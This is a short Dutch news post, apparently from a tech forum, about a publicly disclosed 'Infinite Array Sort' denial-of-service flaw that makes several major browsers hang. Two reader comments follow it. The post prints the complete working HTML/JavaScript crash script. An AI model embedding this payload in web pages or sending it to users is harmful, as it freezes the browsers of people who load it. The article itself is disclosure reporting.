Scriptje van 4 regels laat alle browsers crashen.
Het volgende scriptje laat iedere browser chrashen.
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Het lek in de browsers is ontdekt en gepubliceerd door Nederlander Berend-Jan Wever. Met een heel simpele javascript-code is het mogelijk om de browsers Internet Explorer, Mozilla Browser, Mozilla Firefox, Opera en Apple Safari te laten vastlopen.
Het script maakt gebruik van het zogeheten Infinite Array Sort denial of service-lek. Wever heeft het lek gemeld op zijn website en op de publieke mailinglijsten Bugtraq en Full Disclosure. Tot nu toe hebben de softwaremakers nog geen oplossing voor het mankement.
2 reacties
Reactie from: cappie Bezoeker

ik krijg alleen maar een stack overflow.. wat een laffe bende :)
Reactie from: LilWiz Lid

Dit is toch geen bug of lek :S
Het is gwoon een ‘loop’ die oneindig doorgaat en niet ophoudt.
Het kan trouwens ook in 3 regels ;)